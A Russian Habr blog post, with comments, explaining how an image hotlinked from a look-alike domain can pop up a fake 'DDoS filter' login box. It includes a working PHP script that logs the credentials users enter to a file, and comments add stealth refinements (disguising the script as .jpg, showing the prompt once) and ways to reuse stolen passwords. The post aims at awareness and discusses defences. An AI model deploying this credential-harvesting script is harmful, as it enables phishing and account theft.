Злые фишинг картинки

Правильно люди говорят: «Все новое — это хорошо забытое старое»

Возможность встраивания удалённых ресурсов (например картинок с других сайтов) на страницу своего сайта — очень плохая практика. Которая может в определённый момент привести к довольно серьёзным последствиям для сайта. Еще 10 лет назад, я с удивлением читал о том, что такое возможно. И вот прошло 10 лет, ничего не изменилось, и похоже на то, что это вряд ли когда то изменится.

Детали под катом

Теория и практика


1. Хакер злой пользователь регистрирует себе домен похожий по написанию на атакуемый домен.
2. Загружает на него скрипт c таким содержимым на PHP

<?php 
if (!isset($_SERVER['PHP_AUTH_USER'])) { 
    $vulnsite = parse_url($_SERVER['REFERER']);
    //header('Content-Type: text/html; charset=windows-1251'); 
    //header('WWW-Authenticate: Basic realm="'.ucfirst($vulnsite['host']).' DDoS-Filter: Enter your Login and Password"'); 
    //header('HTTP/1.0 401 Unauthorized'); 
} else { 
    $f = fopen('passes.txt', 'a'); 
    fwrite($f, $_SERVER['PHP_AUTH_USER'].';'.$_SERVER['PHP_AUTH_PW']."\r\n");  
    fclose($f); 
} 
header("Content-type: image/jpeg"); 
$image = imagecreatefromjpeg('image.jpg'); 
imagejpeg($image); 
imagedestroy($image); 
exit(); 

//Соответственно в этой же папке лежит нормальная image.jpg
//Тут же можно поиграться с расширением скрипта и обозвать его superphoto.jpg .
?>


3. Пишет статью, и встраивает картинку в пост:

<img src="http://exEmple.com/evilimage.php" alt="image"/>

4. Если присутствует модерация на сайте, то отправляет статью на модерацию.
5. К примеру статья получилась у него хорошая и она попадает на главную.
6. Злой человек видит своё детище на главной и убирает комментарии в PHP коде, таким образом в ответ на запрос картинки из поста, у любого пользователя в браузере появляется окно с авторизацией, где может быть написано все что угодно, к примеру что сайт отбивается от ДДос атаки, и просит повторить ввод логина и пароля.
7. Не внимательный пользователь, не вчитывается в название домена в форме авторизации и субмитит логин и пароль.
8. Злой человек получает ваш логин и пароль, его цель достигнута.

Способы защиты


Думаю вменяемых методов может быть два:

  • На уровне браузеров: запрет на выдачу окна авторизации от другого сайта
  • На уровне разработчиков сайтов: Копирование всех удалённых ресурсов к себе на хостинг


P.S.

Habrahabr.ru тут не исключение у него на главной присутствуют посты, с картинками с других ресурсов. Так что просто стоит держать в уме этот трюк и всегда проверять до буквы имя домена требующего авторизацию.

А так же всегда есть потенциальная опасность того что пока картинка находится на главной, сайт с которого тянется эта картинка, может быть взломан только ради того чтобы заменить картинку на скрипт.

P.P.S.

Я не считаю это багом.
Это не более чем трюк, который официально позволяется протоколом HTTP.
Поделиться публикацией
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама
Комментарии 65
  • –13
    Броузер просто не покажет картинку в данном случае. Никаких окон авторизации не будет.
    • +3
      Chrome не покажет, а FF и IE покажут
      • +13
        Действительно в ФФ прекрасно работает. Прошу прощения. Почему-то думал, что все современные броузеры давно решили этот вопрос.
        • –5
          FF is OpenSource.
          Пошлите кто-нибудь патч и дело с концами.

          Ну а насчет IE что сказать, его основная проблема не в качестве, а в том что Microsoft не особо стремится его обновлять.
      • +17
        А вы, я посмотрел, не одиноки в написании первого тега к топику.
        • –20
          Вы и в правду думаете что хабралюди будут вводить свой логин и пароль на фишинговом сайте?
          • 0
            а вы и вправду думаете что все заметят разницу в 1 букву, да еще не в адресной строке, а в форме авторизации.
            К тому же человек просто зайдет на главную хабра например и врядли будет ожидать подвоха, а там надпись ДДосс фильтр, или что то в этом духе
            • +2
              Насчет Хабралюдей — он зря сказал. А в общем случае, нужно быть идиотом (или бабушкой), чтобы ввести свой логин и пароль в окно, которого на этом сайте явно никогда не было
              • +1
                Ок, не так выразился. Имелось ввиду, что вход на хабр — это всегда habrahabr.ru/login/

                На фишинг в виде HTTP авторизации пользователи технологического сайта просто не поведутся. Если бы вы привели в качестве примера маскировку под эту самую формочку входа и уже с неё записывались вводимые логины и пароли, то я бы и слова вам не сказал. А сейчас…
                • +2
                  а если вход будет с адреса habrabahr.ru/login/ при остальном визуальном совпадении? Поведутся даже некоторые хабровчане — думаю, именно это имелл в виду автор.
              • +40
                1. хабралюди святые и никогда не ведутся на простые уловки?
                2. хабралюди все сплош веб-мастера?
                3. веб-мастера пишут сайты только для хабралюдей?

                Ничего личного, но все эти пафосные хабра-понты слегка поднадоели.
                • НЛО прилетело и опубликовало эту надпись здесь
                  • НЛО прилетело и опубликовало эту надпись здесь
                  • +3
                    святые не святые, но мнят себя огого
                • –6
                  Если раскоментировать 3,4,5 строку php скрипта то скрипт будет выплёвывать 401 заголовок, а он свою очередь будет вызывать модальное окно авторизации
                  не верите? — проверьте!
                • +5
                  Если сильно захотеть, то можна вставлять ссылку на файл с расширением jpg, а уже на стороне сервера делать rewrite на .php и передавать парсеру.
                  • +2
                    Тогда уж просто на стороне сервера сделать настройку, что jpg = php и его нужно исполнять.
                    • 0
                      Я раньше был почему-то уверен, что нормальные движки, прежде чем выплюнуть картинку, проверяют ее заголовок и размер, прежде чем выдать ее в браузер.
                      Теперь так не думаю.
                      • 0
                        Дело не в «нормальности» движка, а в том, чтобы это сделать, нужно чтобы скрипт все эти картинки предварительно закачал, проверил и отдал уже через себя, а не по прямой ссылке. А это будет хорошая нагрузка на сервер. А так он отдает html код, порой даже не подозревая что за ним стоит.
                  • 0
                    как выяснилось, Opera, FF, IE выкидывают запрос авторизации.
                    В гугл хром, страница просто не грузится
                    • 0
                      Если так рассуждать, то нужно и переход по ссылкам запрещать. Вводить пароли в левых неожиданных запросах — самое глупое что можно сделать. Такое допущение в вашем механизме заражения не имеет права на жизнь. Это как открывать дверь не глядя в глазок в неблагополучном районе и винить в грабеже, например, застройщика. Если человек сам себе не враг, то у него должны быть инстинкты самосохранения, а если их нет, в игру вступает естественный отбор. И, возможно, это даже хорошо с точки зрения эволюции )
                      • 0
                        Ничего подобного. Я когда-то ради теста (именно так, ничего плохого) проверял на сайте одного киевского журнала, работает ли это. За день несколько писем падали в ящик (все новые пароли на почту слались)
                        • 0
                          Ну а итогом такой эволюции будет массовый исход пользователей и массовые вынос мозга владельцам ресурса.

                          Ладно вам про самосохранение, куча ресурсов тематических, для беременных мамаш, для автолюбителей, для черти-кого еще максимально далекого от понятий безопасности. Но вот эти черти-кто и приносят всю основную прибыль владельцам ресурсов. Поэтому как бы ни были глупы пользователи, вводящие свои пароли куда не попадя, со стороны бизнеса намного глупее давать им такую возможность.
                        • +3
                          Можно сделать изящнее. Вместо ссылки:
                          exEmple.com/evilimage.php
                          Делаем:
                          exEmple.com/imagez/evilimage.jpg
                          А в настройках веб-сервера прописываем, что в директории /imagez все файлы с раширением .jpg отдавать на обработку php. Тогда и при просмотре исходников никогда не поймете, что вам что-то нехорошее подсовывают.
                          • +1
                            в конце скрипта я в коде написал об этом
                            • 0
                              А. Сорри. Последний комментарий в скрипте по диагонали прочитал :)
                            • +3
                              Хотя если честно — вставлять в статьи на своем сайте картинки и прочие объекты с других сайтов это не очень хорошая идея. Это называется хотлинкинг, а по сути дела воровство траффика. Во времена тощих каналов и платного траффика за это били канделябрами, т.к. хотлинк чужой картинки в статье на раскрученном сайте мог привести к очень не кислому счету для владельца сервера с которого собственно хотлинкнули картинку :(
                              • 0
                                Сейчас как правило картинки просто лежат на фотохостингах, а не просто левых сторонних сайтах.

                                А размещать в своей статье картинки с левых сайтов не очень логично: в любом момент картинка будет удалена и будут наблюдаться «битые» картинки.
                                • 0
                                  Иногда вероятность получить битые картинки не так важна как забитость канала или счет за трафик. У нас одна контора в городе до сих пор серваки хостит на канале по 2 Мегабита per server — тут хочешь не хочешь, а попытаешься как-то от тяжелого контента избавиться.
                                  • 0
                                    Ну так я и говорю, что избавляться при этом можно различными способами, бесплатными и вполне доступные:
                                    фотохостинги различные для картинок, например.
                                    В тот же контакт даже можно загрузить.
                                    • 0
                                      Можно, но хотлинк пока актуален, как и защита от него. По крайней мере соответствующие модули для защиты пока развиваются, значит проблема еще не решена. :(
                            • –6
                              boodda не могли бы модифицировать код таким образом что бы в «Basic realm=» автоматически определялась домен в котором отображается это окно авторизации? Т.е. в место «Vulnsite.com» было $sitename.
                              • 0
                                $vulnsite = parse_url($_SERVER['REFERER']);
                                а потом в коде ucfirst($vulnsite['host']);
                                думаю как то так, но это все таки простейший скрипт, напилить там много чего можно.
                                • +10
                                  А как модифицировать скрипт чтобы он угонял страницы с вконтакте?
                              • +10
                                Насколько знаю, негодяи еще и сохраняли cookies на стороне жертвы, а в скрипте проверяли наличие записи. Если запись есть, скрипт уже не срабатывал и зловещее окно авторизации выскакивало только один раз. Мне знакомый рассказывал.
                                  • +1
                                    Я скинул ссылку не из-за того, что «было» (хотя про это и правда много раз писали), а из-за того, что в той ветке много комментариев по теме.
                                  • –1
                                    Я же правильно понимаю, что во всех браузерах в этом случае сначала рендерится страничка и только после этого показывается окошко авторизаци?
                                    • +1
                                      Это что-то меняет?
                                      • +2
                                        В нормальных случаях бывает наоборот.
                                    • 0
                                      Habrahabr.ru тут не исключение у него на главной присутствуют посты, с картинками с других ресурсов. Так что просто стоит держать в уме этот трюк и всегда проверять до буквы имя домена требующего авторизацию.

                                      На хабре картинки может постить далеко не каждый зарегистрированный пользователь. Это право надо «заслужить». А забанить аккаунт — 5 секунд.
                                      • 0
                                        Все таки фишинг это не сколько техническая уязвимость, сколько человеческий фактор. Невнимательность наказуема.
                                        • 0
                                          Года два назад этот метод был очень популярне на форуме 4game. Там можно было вставлять картинки с внешнего домена в сообщениях в личку.
                                          • +4
                                            Я вот тут подумал, почему бы на сайтах ссылки на картинки не преобразовывать с указанием имени и пароля?

                                            То есть example.org/evilpict.jpg → user:pass@example.org/evilpict.jpg

                                            Тогда при запросе авторизации, злому скрипту уйдёт бесполезные «user» и «pass».
                                            • –1
                                              Как круто! Работает.
                                              • 0
                                                Хотя нет, не работает, я сначала опечатался в URL.

                                                (new Image).src = "http://user:pass@echoes.tk/test/auth.php";
                                                • 0
                                                  Даже если я вручную ввожу, мне говорит «имя пользователя и пароль были введены неверно». Предполагалось же, что скрипт «скушает» любую комбинацию, на будет валидировать её.
                                                  • 0
                                                    Сначала уходит запрос с именем и паролем, форма авторизации при этом действительно не показывается. Но когда сервер отвечает на этот запрос отказом, тогда уже браузер показывает незаполненную форму.

                                                    Я надеялся он хотя бы имя пользователя будет подставлять, тогда можно было бы вписать туда сообщение об опасности.
                                                    • 0
                                                      Кажется отвечать отказом рушит всю идею — пользователь явно заподоздрит неладное, если введёт верный с его точки зрения пароль.
                                                      • 0
                                                        Нет, не рушит. Во-первых, пользователь не видит первый отказ, он только в консоли показывается как «NetworkError: 401 Unauthorized». Пользователь видит только пустую форму авторизации. Достаточно на первый запрос ответить отказом, а потом уже принимать любые данные.

                                                        Во-вторых, когда пароль получен, можно сразу его менять, и пробовать тот же пароль на почтовый ящик. Высока вероятность, что совпадет.
                                                • 0
                                                  Годно.
                                                  Намного лучше, чем если сервер при добавлении кода картинки внутри текста будет проверять, какой там код ответа у картинки.
                                                  • 0
                                                    Я вот тут подумал, почему бы на сайтах ссылки на картинки не преобразовывать с указанием имени и пароля?

                                                    То есть example.org/evilpict.jpg → user:pass@example.org/evilpict.jpg

                                                    Тогда при запросе авторизации, злому скрипту уйдёт бесполезные «user» и «pass».

                                                    Потому что это костыль вместо правильного решения. Правильнее было бы фильтровать данные вводимые пользователем. Будь это подпись на форуме или что угодно. Дело не в картинке, а в удаленном ресурсе, а ресурс может быть другой, например: стили, скрипты, те же картинки, да что угодно. Та и это не в какие ворота не лазит для картинки указывать логи и пароль.
                                                    • 0
                                                      А если и нужно разрешить удаленные картинки, то загружать их к себе на сервер и показывать со своего сервера. Хотя это более затратно по ресурсам (память) и картинки должны быть статическими. Но это дело можно совместить с белым списком хостов с которых можно загружать картинки (об этом уже писали).
                                                  • 0
                                                    Когда-то так тырили пароли на юкоз-сайтах
                                                    • –2
                                                      Не ругайте меня пожалуйста, я просто оставлю это здесь :)

                                                    • –1
                                                      Наглядное представления этой возможности, вот вам ссылка на *рихабр

                                                      freehabr.ru/stream/

                                                      Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.